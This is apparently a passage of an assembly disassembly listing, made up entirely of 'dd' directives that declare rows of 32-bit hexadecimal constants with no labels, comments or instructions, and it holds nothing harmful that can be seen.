		dd 0F693966h, 6FA04838h, 7485B5ACh, 0C865000h, 44DA0616h
		dd 0D31B00E3h, 0B5650130h, 0A4017820h, 52A2317Ch, 69608476h
		dd 2F60043h, 15B2876Bh,	0C43B6035h, 98AE8165h, 0EFFB309Ah
		dd 2FD82D8h, 7B795947h,	20408EFCh, 4D1E5D0Ch, 72C0A263h
		dd 1F040A90h, 89AB022Ch, 928C3C6h, 7801E9E3h, 49CC60F8h
		dd 0B014DEDh, 6DFBDCE7h, 0DE6AA602h, 40B8AB36h,	0E0D1EE3Ch
		dd 0A237134h, 8AC41DE3h, 0E66B006Ch, 0C1696F12h, 0C9EE0916h
		dd 0DC4E8E00h, 0E3F7C6h, 0E47C5977h, 66CE85DBh,	8B004F76h
		dd 2DDE3AB1h, 0D98AAh, 1F7E7188h, 1887F2A8h, 0A25E6960h
		dd 3D83C415h, 918078D0h, 93EF1B0Fh, 1400D38Bh, 94B94102h
		dd 0EAF5C330h, 0C9680DD0h, 8028A84Dh, 9422FE20h, 305A47h
		dd 5C048A0h, 0D6E907EAh, 2600897Dh, 9FE745Bh, 0E4E76BA8h
		dd 6A216167h, 0DC4D9BB6h, 0DF0041ACh, 3A7CD160h, 3638C4h
		dd 7714D74Ch, 82F1F5B1h, 72E00700h, 0E11B6FA0h,	0F80E00A9h
		dd 9F7ADA10h, 1F00D8B4h, 0D68AED6Ch, 7FAD5FBh, 0AF652433h
		dd 201CF0D4h, 4600A4DDh, 87DBF991h, 0EF2D1B9h, 0EA9D644Eh
		dd 254C0057h, 3B95161Bh, 1100E5E4h, 78ECFACAh, 7EE880h
		dd 638F22F3h, 0EE947968h, 0F4930200h, 14DE2639h, 8DE0A089h
		dd 7ABA1EBFh, 41FC4F03h, 8E769A80h, 0EE901E57h,	99442200h
		dd 90E29FCFh, 0CC210070h, 4FB342C8h, 0F6F49634h, 0DC11B900h
		dd 145B594Ah, 41F0094h,	166F2AF3h, 1800D0E1h, 8E75795Fh
		dd 49BD5Ch, 7D6BA9CAh, 0A490F981h, 0FFF00D0Eh, 0AFB1C085h
		dd 0E81D8737h, 9B7556h,	0A11604B3h, 0EE5A81CFh,	6B0DF307h
		dd 3427E2CBh, 3E1509E0h, 7949898h, 339472F0h, 6DB41010h
		dd 580F5379h, 0A0E20495h, 0E7197880h, 0B55E003Bh, 167DD3FDh
		dd 0D11FD699h, 0AC069B44h, 0F289F66h, 0B91E1CE5h, 289CB160h
		dd 5A001B0Eh, 24F456CCh, 3D746DA9h, 0C3BA3B55h,	217A9180h
		dd 0DE10B4F0h, 75769918h, 14B368h, 0FA2D6961h, 521BA094h
		dd 492FF100h, 50D8B6EBh, 0F7380FE3h, 0A429CA0Ch, 21420C00h
		dd 0B900F8C7h, 9A151795h, 0A9B809h, 73703F9Eh, 69D5D4F0h
		dd 3B0E74F8h, 0A0DBAF24h, 267D3254h, 79F501FBh,	8271B92Fh
		dd 0E4AAEC78h, 8AFC1300h, 62EB2186h, 934D2879h,	0E39A0098h
		dd 31D8D951h, 49005C22h, 848535BDh, 3A7157h, 0BEC8EDF8h
		dd 0BB548FECh, 4EB63Bh,	69D39A60h, 5BE787h, 0F64A1027h
		dd 0A7436F88h, 706A9D00h, 7335C53Ch, 3E92287Ch,	0A41200A0h
		dd 0ACB2D227h, 6712C998h, 0C800EE9Ah, 2D846F24h, 81A010Eh
		dd 0F28A74FAh, 0E94DD848h, 6C38117Fh, 2C8F266Eh, 97710A87h
		dd 0C0035AE5h, 0E8C81A85h, 1CC4AEh, 3EF584Bh, 2450DEFEh
		dd 0D41B671Fh, 0AFE23F40h, 0E223975h, 63771A0Bh, 0DC60684Fh
		dd 559E4917h, 1B040700h, 32BED63Dh, 0F8771Ah, 0EF81FC6Eh
		dd 507ED760h, 1833C20Fh, 401DE07Ch, 53C151h, 0CFE2F015h
		dd 2694828h, 80C3A039h,	296DCD36h, 1BB6A05h, 94E7E9D3h
		dd 0D48E9BEDh, 0A4F0A969h, 1700C07Dh, 0A7B4FB2Eh, 7F24CD12h
		dd 7A9CA00Fh, 2FB84Bh, 5810CEE1h, 2D2B47B5h, 9FDA100h
		dd 8CDF92F3h, 0E8B4000Ch, 5B04EE50h, 0F1000ACEh, 197B03C7h
		dd 3AC2D77Ch, 0C0008FB6h, 0C5591A6h, 0B3E152Dh,	0CF8DAC8Eh
		dd 0FA005926h, 402A8FD3h, 0A7A324FDh, 19E90092h, 826EB004h
		dd 18AE4800h, 4FB5E4C3h, 0CA0F3F61h, 0EC835202h, 0BC48BD85h
		dd 29002FB2h, 2F032A3h,	0E06DAE7Ah, 0A40B511Dh,	3AA464E0h
		dd 87002322h, 0EA560C14h, 0F0045498h, 0B68F753Fh, 3DA92AC0h
		dd 5CB828CDh, 0D1761FF0h, 0DC5FCFCCh, 0B1B04640h, 48057C6Bh
		dd 21DA1106h, 65540C80h, 16FC00DDh, 771C9FB6h, 780081A4h
		dd 8A182D79h, 0FE13BBh,	155E7BD2h, 0CA50FBE2h, 0AF00ACBAh
		dd 24861844h, 0D4CF9Dh,	0C04B3E38h, 971911B6h, 829C0258h
		dd 0C0BD7D06h, 574690h
		dd 7340591Fh, 0F89368BCh, 0A0DE1305h, 0C887EB91h, 3102F7F0h
		dd 4F7C002Bh, 6A0D9AB5h, 0D900B14Ah, 52CB9EDDh,	0F5BFD8h
		dd 0F3EFD350h, 0D1291B7Dh, 0B9958606h, 26A087E4h, 40984864h
		dd 0A836ED05h, 86E93103h, 0F0965828h, 113CFACh,	6330B193h
		dd 302E3B0Ch, 3500CD03h, 0BA266BDBh, 584A0Eh, 8D17A601h
		dd 4B8B34D3h, 0D174D900h, 0A273B44Fh, 2E560594h, 80B06D5Ch
		dd 9A235EBBh, 0E0C0F5E6h, 4CD4EDCDh, 60A10E49h,	7BC04533h
		dd 0FCE672E5h, 0C14B9D07h, 36666F6Bh, 0ACDA05E8h, 8066A738h
		dd 0BA1D0D0Ah, 0FCC38F00h, 7311E43Dh, 97580071h, 65D019AAh
		dd 8006B81h, 7EF33FB5h,	0F569B2h, 7CBA061Bh, 0D36CC053h
		dd 6500AFB0h, 0A18F392Ch, 24986FB3h, 44052Eh, 0D2081EE0h
		dd 0C9028EA6h, 96C6097Ch, 0F8FC68F5h, 5C7D00E9h, 0BD0F7B33h
		dd 9758AEFCh, 6439100Ch, 0F0A2FA8Eh, 2640BEA1h,	0E6039818h
		dd 0AB9DFFF7h, 8353B0D9h, 2D8702D1h, 0C2B6F6E3h, 0A0A93840h
		dd 58025000h, 0B9CA98F4h, 0C0D50035h, 4E835CBDh, 130020F9h
		dd 64E49F0Bh, 6616CDh, 0DA03465h, 91F8EE9Eh, 0AE07B30Eh
		dd 941CAA31h, 8ED89F03h, 350FB829h, 661400ABh, 0CDBC658Ah
		dd 6200CAEFh, 2842972Bh, 7354895h, 0B1D0F7A2h, 9C7A700Dh
		dd 0DBE20173h, 56ED2C01h, 4F214F9h, 0D56E3207h,	781494C6h
		dd 1DEB9A07h, 4700DD4Dh, 0CB3FDABEh, 0F31A0016h, 9C90FF66h
		dd 4002DF09h, 0D2FA6FA4h, 1520C0BCh, 6A5D07D3h,	20202667h
		dd 0F5436BE8h, 756D711Eh, 93811280h, 0F5C2360h,	3836A2B8h
		dd 0B35FF440h, 8C0D8E29h, 983F63FDh, 0E3281826h, 207B0090h
		dd 9976D525h, 0E211FEB3h, 0B71328Ah, 0DCF6209h,	833C1C80h
		dd 0B4000E56h, 9ABF7D41h, 3FE71BADh, 18BE99D2h,	0A06600F5h
		dd 0C9F97C46h, 710020AAh, 1D1B2E51h, 3084C3A7h,	0F4883342h
		dd 8D53640Ah, 2C6E0090h, 159A572Ah, 0CAF400DCh,	7E29DD3h
		dd 0DF221ECh, 247D5D00h, 9627C538h, 904320C1h, 7B728200h
		dd 0B8301409h, 78E55873h, 13F4400Ch, 0F5F4BA58h, 0DF748500h
		dd 0C84272D4h, 9BD7001Fh, 78227CF0h, 0D2000DF7h, 448912B9h
		dd 7E8D352h, 8CE1F361h,	754D50B2h, 1E48E87h, 5F117200h
		dd 48EFAFEEh, 6703004Fh, 8D93F4C0h, 854CDC05h, 73F67328h
		dd 0FB7BC21Fh, 0A12C0980h, 0F966Fh, 9A4E13C6h, 77B7914Ch
		dd 8047FE39h, 0AC0D139h, 2C786Bh, 0B00208BEh, 51531419h
		dd 8B76C37Ah, 3217F8B8h, 79001EA5h, 0C18766AEh,	0D1BA1C1Fh
		dd 1B0B02BCh, 908B693Ah, 0B7C6A500h, 5D004697h,	0F9E5F651h
		dd 1065571h, 8A4716A3h,	71D03DF7h, 0F580D06Ch, 0A71FA272h
		dd 8C8029D2h, 183EDF63h, 0AE8E006Eh, 2243BE1Dh,	4C183FBCh
		dd 0A4E89254h, 5CCA3C49h, 2DECC801h, 20F8865Bh,	9F1F13ECh
		dd 9E44D399h, 83C08E0Ah, 90089B91h, 38EF0E00h, 8BE581F3h
		dd 1766C1A6h, 6E7E8009h, 7FE5202h, 71F0C01Ch, 19460D12h
		dd 99101B60h, 0B6B77Fh,	0C3AA4B8h, 8DA7AEEFh, 68B45724h
		dd 4300EC2Ch, 63ADC6E8h, 0DBB1002Eh, 0F12CCFCh,	6B00E0CDh
		dd 3C31EA4Ch, 2CEBBB8h,	0A6AF856Ch, 54C08C69h, 0F89A517Eh
		dd 27168809h, 0BEDD0743h, 5347670h, 5CEB0E0Dh, 5D4040DDh
		dd 8571F6F0h, 217FE30Ch, 5892C2FEh, 170B105Ah, 0D7852C9Bh
		dd 0AF800012h, 0C3D30EABh, 0ECEAD4F0h, 3941B158h, 2A089BAh
		dd 3FFC0130h, 4E0096E6h, 565882C6h, 67400D0h, 2BF5A8E1h
		dd 45EA1D0Bh, 0EED63Eh,	7CD0A754h, 0A4003F6Ah, 7DADCEF1h
		dd 0A0136250h, 149798h,	9667FBB8h, 0DE205C57h, 0ED619A0Eh
		dd 64864351h, 52349021h, 5D95003Fh, 0B31B75D1h,	1E0065D2h
		dd 0AF09F181h, 0F693A385h, 0E50E16E2h, 8F190082h, 1E32397Fh
		dd 0D5EFFC00h, 5E47748Ch, 2DF12EFBh, 0B710074h,	0B589A137h
		dd 21FE800h, 6D8170D6h,	0F9190FA9h, 3DE061D0h, 0D3F7C28Bh
		dd 11937412h, 1AE41003h, 78D0F534h, 376E51h, 84C9C8F7h
		dd 4C268AA0h, 9ADF4600h, 3FBE5030h, 6D788Fh, 3602EF5Fh
		dd 64827151h, 0F2255Ch,	1E67F697h, 4C69D2B9h, 5001063h
		dd 0F9E90E84h, 893CBB8Dh, 8200FBADh, 3F81786Fh,	39F15B7h
		dd 1CCCB5BEh, 66E0DF68h, 0B10022E8h, 7208A92Eh,	48063785h
		dd 30001C8Dh, 0C755CC56h, 403C4ED6h, 33AC0932h,	2C268016h
		dd 30F1C43Ah, 4A9A0A81h, 0D47C067Ah, 0F50B2300h, 6612A490h
		dd 0AAC800E6h, 0AEB3140Dh, 53001C82h, 0A70FAD60h, 0D0E32Bh
		dd 0E4EF6FA0h, 9A180E2h, 76144400h, 0EE5B5C12h,	179500F3h
		dd 9C1528BDh, 0D20073A7h, 6AB2E839h, 0B44702DEh, 501F0074h
		dd 0CF469231h, 0E57FDF00h, 5A8781B0h, 1AF71D75h, 6A1B403Dh
		dd 0AAA7FCA0h, 0E4E277E2h, 80F49139h, 7A2D7604h, 1616B5E5h
		dd 6BB0C9h, 1AA80D67h, 60F8CDDFh, 2BC49400h, 6CE07A28h
		dd 56CA00ECh, 79523EF6h, 20073790h, 9B996BBAh, 24B6B1F3h
		dd 40907898h, 6736D6BBh, 0D2EB2F00h, 31AAAD20h,	0EA4F38E3h
		dd 7DFCBC00h, 366F0F8Ch, 0CD7B8900h, 0F0F9952Eh, 0D12800A3h
		dd 0CCC1AE9Ch, 3607C8FEh, 0FF383A87h, 40EFB7D2h, 0E623F00h
		dd 7759D67Bh, 56B1B0C1h, 2C87F0A9h, 706D5703h, 0F3E610F7h
		dd 0B708D804h, 652E0246h, 0FC85290Ch, 0F01406E1h, 0E33C3FABh
		dd 0D86F001Ch, 11B5EE40h, 9C7F00DCh, 4F4B84E2h,	0DA1C6A8Ah
		dd 3E5F70C7h, 2E0D5900h, 17FC955h, 65382B69h, 20BFFFD0h
		dd 870032FCh, 19AF0109h, 16824FAh, 0DCACADE1h, 315E28DFh
		dd 48AC075h, 0E3F79603h, 0E8AF350Eh, 1C01B731h,	8383BFB2h
		dd 0C0FE2954h, 0BA039BD0h, 409B298h, 18575CFDh,	1D4B3C54h
		dd 0C0B3D528h, 0F9727BBh, 2A3BD063h, 427980FDh,	0E8839432h
		dd 54FE1780h, 0CB6E00F1h, 10788182h, 95A5A817h,	496E7460h
		dd 9AE428ECh, 40384FE8h, 3B91B844h, 1A1318EBh, 0F0001097h
		dd 0BE4FFC6Eh, 35792Bh,	7EF3EFB8h, 0D760CCE7h, 6F578500h
		dd 0C3E6F143h, 82DC001Fh, 33F03022h, 0DD0C9E5Ch, 68BC5514h
		dd 5D9814B1h, 0B705E4F8h, 0D053541Ch, 5A626B04h, 0AD136100h
		dd 32A3B572h, 79ED1E03h, 0B2C889F8h, 0C65B7405h, 820004CBh
		dd 0E5DFD3E3h, 7D8AF607h, 0E69B0048h, 0FD150BCFh, 7200CD98h
		dd 5956EC3Bh, 850634h, 9454BC39h, 37DD6DB3h, 0B43B0124h
		dd 0FF68EF03h, 2574D9A8h, 0F8B6B970h, 52A10095h, 0FBF2FC60h
		dd 0F87F3287h, 336FBC00h, 5C202446h, 8B6600D8h,	0CF15680h
		dd 47047DFBh, 1062E329h, 0AAD490C0h, 0A6D30CC5h, 0B8F8D88Fh
		dd 0F6A77B00h, 4B3D1918h, 563B0777h, 80A37E20h,	9C4A2ED8h
		dd 15ACC05Ch, 2C9C2126h, 0DCE04813h, 7DE4CF58h,	6D870080h
		dd 0D816A43Eh, 4C019006h, 78037A51h, 59F8A158h,	8321008Dh
		dd 0E6DC6B6Fh, 824CCDA5h, 41961134h, 40000324h,	1FB74561h
		dd 0B85FDA00h, 0F74D54B2h, 0E30A5051h, 0E8520066h, 7B20446Bh
		dd 98B8C118h, 0F34DD21Dh, 0BBE9D7C0h, 2E68E1D4h, 77E056Ch
		dd 0F0EB3140h, 0ED1589DBh, 7824382Eh, 2B475300h, 9022D004h
		dd 0CEBD0750h, 3BD70905h, 8B66041h, 0FA7B1C79h,	423466F5h
		dd 0A28FB2C3h, 0F8E878E0h, 5C90B6A9h, 0FD252916h, 1F9F4043h
		dd 3D8390E2h, 7863167Ah, 8C74407Eh, 0A66B79Ah, 0A872CF00h
		dd 0D8059F4Eh, 0EF810665h, 30AD28C3h, 0B3A4BC00h, 8030E782h
		dd 36B00D2h, 0C7F521B5h, 510F7593h, 409B7B9Dh, 0BF76813h
		dd 2DD77499h, 5080D104h
		dd 759C7743h, 84976002h, 0C38BA7B4h, 878ED2DFh,	0B290C5BCh
		dd 58BB82h, 0E26CC82Bh,	56456AEh, 0DA0E5203h, 9877CB8Ch
		dd 38888Ah, 0CAFF1179h,	7F6AB6ABh, 0F0424900h, 8C6654D9h
		dd 4C6C1784h, 72280217h, 38D9DEE8h, 36C24180h, 120AE1Fh
		dd 849A4E4Ch, 30FA390Bh, 0B30A6B09h, 0C6CCE161h, 68408F17h
		dd 0DA4CE4D3h, 46D61331h, 0DB208220h, 0D09F0D2h, 2F9B2F6h
		dd 0F0EB8EE8h, 0D0F300F0h, 9EABC7E4h, 0C6073756h, 0B22BB7DBh
		dd 0A63A3881h, 0D4A7F041h, 0EB3E982Ch, 5FE43D80h, 10296497h
		dd 10045EAh, 250AFC81h,	68CAE8h, 0FD911855h, 0D989FAC5h
		dd 1C294300h, 88C6B22Ah, 94D03EBh, 451FDA5Eh, 3931201Fh
		dd 0F927E1C1h, 0CC7033F3h, 3C5B05C4h, 9C748Bh, 0F1294C0h
		dd 0AF018DD0h, 2393726Dh, 0FB4742F9h, 8CE08E57h, 267A1541h
		dd 815C0BACh, 857EFD3Dh, 0E0F102EEh, 0B26FC79Ch, 7F20258h
		dd 95F93E61h, 3088FCE8h, 504F9302h, 0E0025D06h,	2420834h
		dd 9784011Bh, 84F8C723h, 0CC049C00h, 91A273A9h,	8E1E00B2h
		dd 7AA62D80h, 923D2FDAh, 59E680F7h, 4CD2F04Ah, 535100DCh
		dd 0C33A3078h, 0D303EC15h, 0BFB0B722h, 36F80044h, 39D55B61h
		dd 0AE00BD14h, 3A1845D4h, 1E3703Eh, 38A95079h, 0F4FB6C2Fh
		dd 4B4F974h, 0E700EE1Eh, 0A5299C9Ah, 0B1F300CCh, 685C4EEBh
		dd 0FD4E5587h, 0FD3A807h, 0DC08044h, 0EFF294h, 97454FCBh
		dd 0EB07D942h, 3C6C8618h, 0F48E1040h, 1EFB269Fh, 0E770068h
		dd 90D52A87h, 0AD5ACE2Eh, 92955007h, 0C94E8470h, 197F00B7h
		dd 78641877h, 300546Ch,	62E981E0h, 0EE8E2007h, 1A5C0092h
		dd 0F94C0D73h, 4303C147h, 0FA89A8E2h, 2380213h,	0A76205BAh
		dd 0EBE5E080h, 3C12980Bh, 0CF078C63h, 0F5EA7419h, 154AE701h
		dd 30FC83h, 90202E38h, 3E45035Eh, 40030AB9h, 1151B386h
		dd 92A0B7EEh, 478B821h,	0DC85747Ah, 0DF34A0FEh,	45C75143h
		dd 97C4240Eh, 929E3020h, 0BF01D3C3h, 0C26CE186h, 530076Eh
		dd 0DFC026Fh, 4EF4A27Dh, 3C001C50h, 0AD33DE92h,	3009042Fh
		dd 0BA7086C8h, 0F8006EE4h, 8E98DAE3h, 75E0C0ADh, 16AA043Ah
		dd 0F2197CD6h, 562550h,	0B5E7D91Ch, 57A0007Ah, 0EE29879Bh
		dd 5B00D1BBh, 8B45B040h, 13C48F4Bh, 6801781h, 71EF42D0h
		dd 94A14D00h, 56B5271Ah, 868501FFh, 0E3746277h,	884BF689h
		dd 0DC5EC4C1h, 0F900E117h, 0B1838278h, 329F23h,	84F8248Eh
		dd 3CC47FBDh, 96F4D605h, 0AA80BE5Ah, 72DF078h, 0A9167C52h
		dd 9CA1F0E6h, 22795A3Ch, 0CF8FC000h, 0F90F192Ah, 486D26DBh
		dd 421F0B93h, 0C04B300h, 13009CEFh, 0A805141Dh,	974430h
		dd 0A7954F3Ah, 0B41E86C3h, 782FCC3Fh, 6DC4FB04h, 80808DD9h
		dd 3CEA3B9h, 1E86F76h, 6AF0E09Ch, 1F0B538Ah, 0AE2E13EEh
		dd 94B62038h, 0F1D3D1Ch, 73DFFD0Bh, 0CE0CC2A0h,	88032DBDh
		dd 0E0AB9D7Eh, 0CCC0D46Fh, 951AD906h, 88A00414h, 75E5167Eh
		dd 27A2F488h, 5F4DE000h, 9E0B4A69h, 148B8A3h, 0BF234520h
		dd 28C45D9Ah, 0D2E313C8h, 1E65898h, 284EB384h, 0EA6AEE40h
		dd 2BE8EC49h, 2E874842h, 6BB48073h, 921407EAh, 0B2D00E4h
		dd 82B0271Eh, 0CE585DC0h, 0FC12003Ch, 6587C9D2h, 7A8E00EBh
		dd 23B7A945h, 0D4B2710Dh, 0A1B96A1Fh, 92C257C0h, 75AFE1BDh
		dd 9C794843h, 6CEAE800h, 91C4DC27h, 7CAC101h, 9859EE81h
		dd 0F79430h, 0C9EDAD80h, 0FD731432h, 1DC57713h,	0AE9ECCC0h
		dd 17D326ACh, 0B2CF0F38h, 0C5B2BE0h, 0E400D8B8h, 117B7296h
		dd 63AA67h, 768BF034h, 285E9A19h, 6FEA80C3h, 0B92AC07Dh
		dd 0A10A5BE7h, 3E2DE81Ah, 1231D41Dh, 0E41E1942h, 0DFA4606Bh
		dd 64FB0096h, 0B8FDC02Bh, 7C9095F3h, 5DBB3E1Eh,	0DE3DAB40h
		dd 95E56430h, 7C331C00h, 0B81C422Ah, 8A008634h,	3AF9FEABh
		dd 3D250743h, 0A1AE55EBh, 0E4609357h, 0A300F4D2h, 6A98EF67h
		dd 0F8A9F070h, 0E9D0A076h, 6D0B0128h, 36C37BC1h, 0A8002ACDh
		dd 0E1877097h, 18F639h,	748098D0h, 78D522DFh, 2BC93Ah
		dd 0F727B571h, 4C0582A5h, 0BD0086EFh, 1DAEF356h, 6001688Fh
		dd 87091406h, 0E824E591h, 3CC8B1DCh, 1A19F100h,	5CA8332Fh
		dd 136D383Fh, 0C500BD8Eh, 0FFDB0302h, 459D00D2h, 0EC855B5Ah
		dd 6B05E5D1h, 4D1E2DCBh, 9A9B0Eh, 7188C010h, 0FEF1005Ch
		dd 1A1C509Eh, 46178DCEh, 5400ECF2h, 0A0C8A124h,	0B601625h
		dd 7F300E82h, 4C012A60h, 5B2CB66Dh, 2F00A9ECh, 0AEE995B8h
		dd 8FBA0B19h, 5881E650h, 348AD7B9h, 7F0B3438h, 80596452h
		dd 432F1360h, 163200C1h, 6560E592h, 0E6000686h,	0A05A76AEh
		dd 0B8CCE7h, 1A4CF0Ch, 0A1A9906Fh, 1A252800h, 0F4128EF1h
		dd 0DF4F0062h, 0D71B2160h, 5029892h, 0DBC0E618h, 9B184332h
		dd 4FC20BD6h, 0A880E8EBh, 736CBBDAh, 0CBE46203h, 0F87C3C91h
		dd 5D6FA09Eh, 1B2CBC79h, 0EE650094h, 58C906A7h,	7EDF6903h
		dd 0D8B7E961h, 64C0C252h, 0BCFA3053h, 503C025Ch, 0CA4E6715h
		dd 0CB70C294h, 0D52DF84Ch, 81A202E4h, 9E847F98h, 0EC0B20D1h
		dd 0C92807A6h, 0E0D9ABB0h, 0D1870065h, 635AADEEh, 0BC30E394h
		dd 8EA5A0F1h, 0C76E0034h, 88DD9D26h, 2098B714h,	2F54054Ch
		dd 0CC040215h, 0DDF66053h, 0E4800071h, 8A1FEC8Dh, 7A009DD6h
		dd 0CA25A587h, 92491321h, 0E12C1480h, 6000D499h, 90B6E3F5h
		dd 5F00DF63h, 7758C85h,	46DECBh, 0A2144348h, 6B38ABCEh
		dd 36DCFC00h, 0CD446F08h, 83DE0982h, 2A80616Dh,	3CD75C8Fh
		dd 5D77F900h, 8855155Eh, 46490050h, 0A3CA9424h,	14187EFAh
		dd 47E02A1Ch, 41910B1Dh, 84802F68h, 82836E53h, 0C6747903h
		dd 4A292h, 0B78B4180h, 895AC761h, 1CE52102h, 79A7FF9Ah
		dd 9243DE00h, 7C761Eh, 9735883Dh, 0FB2F454Ch, 0DDD422D9h
		dd 88C4545Eh, 0E700737Ch, 0E3A5223Dh, 1DE8B2D1h, 0C002F1D9h
		dd 37694814h, 4C056B81h, 273E0B18h, 0CF5028C0h,	9BD100F5h
		dd 35E1117Ah, 1801FDECh, 0F09981B5h, 34703672h,	7EE2446Fh
		dd 2CC81F4Bh, 0F8300192h, 1B3A2D25h, 90002F2Eh,	1916FC1Ah
		dd 909817F2h, 0AA5E017Ah, 2054AD37h, 950025CCh,	0DB515D47h
		dd 26AC1627h, 163DF4Bh,	3101298Dh, 0CCAC2038h, 15F55000h
		dd 2F0D5776h, 0B9670068h, 0D4557A73h, 50788134h, 33794800h
		dd 0A61CCEFDh, 67D600BDh, 77BA7F3Ch, 0CCF7F26Bh, 12020E0Dh
		dd 4A9E707Eh, 0CCE88098h, 4B549D19h, 0F100CEA3h, 32D69DEDh
		dd 19D88380h, 0D2073871h, 5785AED0h, 4F6F90B0h,	376500F7h
		dd 0C417A677h, 4C76D7E7h, 0D997C605h, 0B1842316h, 0CE0020E2h
		dd 1A0CE2F2h, 291C9DD5h, 7B00A39Fh, 3610EA1h, 8F31259h
		dd 7AB800DDh, 0C109DB1h, 4D625B00h, 0C8B5D1C6h,	28BE0FD2h
		dd 7D60B32Fh, 0B71637BFh, 0A53C1413h, 11A48A0h,	0B07BBD73h
		dd 207E019Ch, 84000A35h, 221E836Fh, 2CB36ADCh, 1E8C2A51h
		dd 134801F4h, 0C6249AB4h, 2A3C0061h, 0CB1C6847h, 5F9C0A90h
		dd 0AB4A0020h, 5C73C5EAh, 0E00031A3h, 0B9DB1EC8h, 3271C61h
		dd 74652059h, 7283782Eh, 9B8AA2E0h, 0B6670F16h,	0ECE6380Ch
		dd 0C65400CCh, 28757CD0h, 0D409EAF7h, 0CF68B1h,	0AAC546C8h
		dd 0C4993AB8h, 0C3704080h, 5E5A2056h, 80D1133Bh, 52AEEA48h
		dd 9FA827C8h, 34626C00h, 0B10F8BB5h, 801B6A0Eh,	1650BD7h
		dd 0F59D0791h, 50C77881h, 0F253BA11h, 50E69A00h, 98B31BD4h
		dd 0F1578C5h, 8526A444h
		dd 3500302Bh, 3457C267h, 0E0006898h, 6920C51h, 4C783C1Bh
		dd 7213D875h, 911B0735h, 4D1310AFh, 0E6002E6Fh,	7F0E51C4h
		dd 0F981E3h, 0EEC65038h, 4F824C9Dh, 0E4B452h, 0D8833E34h
		dd 69C1245Fh, 0B85A21B1h, 95302508h, 445F00D2h,	6DDA1FBDh
		dd 22988C00h, 668440C8h, 0F249472h, 70E0A8E1h, 54217F83h
		dd 80F8D93Bh, 8C8FF2FFh, 3632BF7h, 3B91145Ah, 0EAE3A2CDh
		dd 2A4F600Bh, 117C8C05h, 72FA47h, 0A6924C2Ch, 394F73E0h
		dd 98B1FF00h, 52D1CE83h, 55BE1394h, 0FCF0F189h,	7458EFFEh
		dd 101A00D0h, 2C99F4F8h, 0DA7A0098h, 58B544C2h,	3A13E7E9h
		dd 3040829Bh, 76FF18B1h, 0D9B76043h, 0A9349EA2h, 7BA04A03h
		dd 381ED90Fh, 939F9960h, 0B620E83h, 7319540h, 360C7582h
		dd 88C064F2h, 0FEC40316h, 138D73F1h, 94103Ch, 0A31DE1Eh
		dd 3B846204h, 983AADEAh, 0D882AB87h, 889F6026h,	1D0086C1h
		dd 1C0B3FDBh, 11181B6h,	0C0BB804Fh, 6CA624E8h, 1D123EBCh
		dd 17C7562h, 0C8EA9563h, 2B6021DFh, 1B361980h, 0D40719CEh
		dd 0F6009391h, 0FF359297h, 21E12AFh, 0B23CDFAEh, 0D068838Dh
		dd 0A4A99582h, 1B208E16h, 0E5AD619Dh, 3C40DE24h, 1DDDEA71h
		dd 0C092B7F0h, 746E8578h, 0B3E8578Bh, 429B5500h, 0E2E4B29Dh
		dd 0B56F58DFh, 90750C0Fh, 50520B87h, 0E7201A74h, 80979B3Dh
		dd 0E8CDCEEFh, 0E09C6Ah, 4FCC0A1Bh, 0AD4AAE4Bh,	0F91E7F00h
		dd 0C50240C0h, 79360009h, 3D607B65h, 0E709B6F6h, 0FD04EC81h
		dd 3CD5A880h, 0AC0EDC1Eh, 5AD3CCh, 0A1C02831h, 0DE460794h
		dd 50CA3EE3h, 7B6B5121h, 6EF7860Ah, 0D808081h, 0CD91AF85h
		dd 92B003A4h, 17080BF1h, 13B5D5E0h, 94F6A4B8h, 6821AC2Dh
		dd 33CB28h, 93A09672h, 0AA8DD20Eh, 328B8C1Fh, 8EFD481Ch
		dd 0E0318247h, 0F664039h, 7BA87E8Fh, 24EA00B0h,	0E30EF4E4h
		dd 9460720Ch, 0D84D4C89h, 6E9A00D9h, 6361BC3Eh,	17608789h
		dd 0DC198F21h, 3CE5011Ch, 0B0468EAEh, 87918020h, 0F2F1B2B3h
		dd 620D00DFh, 24A1B9C5h, 53074269h, 8D6E9931h, 5D128880h
		dd 0D234006Fh, 3966F4D7h, 0AF029846h, 0BF8D48B6h, 0F0F8A088h
		dd 62DBEE14h, 2FE611DEh, 3D7E18Ah, 93AB91F5h, 0C0726BD8h
		dd 0B86D9E07h, 0AD0010C8h, 0E7089FDh, 0EBD963ACh, 62D25C61h
		dd 9551E897h, 0DBCE0D00h, 0A15655F7h, 0E5E80Fh,	0ADFC09DAh
		dd 0FBA9B041h, 2128DE0Eh, 21478CFAh, 7DB0E4h, 69C24B43h
		dd 766E9C46h, 0F4D4918h, 3CC44A50h, 568EA937h, 54A0F705h
		dd 7D1EC94Bh, 10DAF037h, 0D1EE2EC0h, 7B467670h,	88CFF61h
		dd 3020C95Dh, 8AEE1600h, 0B0DFD284h, 93F439h, 0B57B4188h
		dd 6F99A582h, 315C7531h, 0F0E86DE5h, 0A790020h,	585D9B40h
		dd 0A20C5C76h, 1814F8F5h, 9AA81DE3h, 497142ABh,	809135D9h
		dd 0AEE8195Fh, 0B1B02340h, 0CB0F9511h, 0D063AEF3h, 0D003EE08h
		dd 9E929DBAh, 6607E8D6h, 4DC50CB9h, 22F851CDh, 2979014h
		dd 9A780088h, 0AEEC3176h, 379F487h, 7CEABD51h, 0C0D8F91Bh
		dd 0B1E98E7h, 0D2C0B6C6h, 78CA9F88h, 0AFB53965h, 60B9F63Fh
		dd 0E4BEB00h, 8C63580Dh, 1FCDF100h, 46B5C79Eh, 8B435077h
		dd 0DF75025Eh, 0ACC455EDh, 30542C0h, 6025A200h,	54CBF5D9h
		dd 174CF872h, 158329h, 0E8F49FAEh, 5B00EBFAh, 3FA752DEh
		dd 0CBFBA1h, 6E64666h, 0B9075668h, 54E5D40Eh, 3B2AE07Fh
		dd 7BC193Dh, 0A6E99E55h, 0A4326082h, 21008D45h,	247C2693h
		dd 7AB5A12h, 3147F451h,	5027970Dh, 6E7A3D42h, 753F037Ch
		dd 3B649FABh, 5BC62840h, 0C0E9A8h, 6C1F4525h, 0EB74DB5Ch
		dd 1713800h, 515A5B05h,	0A39729Bh, 0AB457E16h, 4523E80h
		dd 11E2E6C3h, 88B31000h, 29D8ED7Fh, 1AE10178h, 7EF73F46h
		dd 0E3F2E161h, 0BC3845E8h, 29957531h, 9B10C29Ch, 3E804C78h
		dd 608588DDh, 4570EC40h, 116AD5D6h, 9C11D992h, 0F4519041h
		dd 4B3D5682h, 14087605h, 2788447Fh, 42518546h, 0C4ED3EEAh
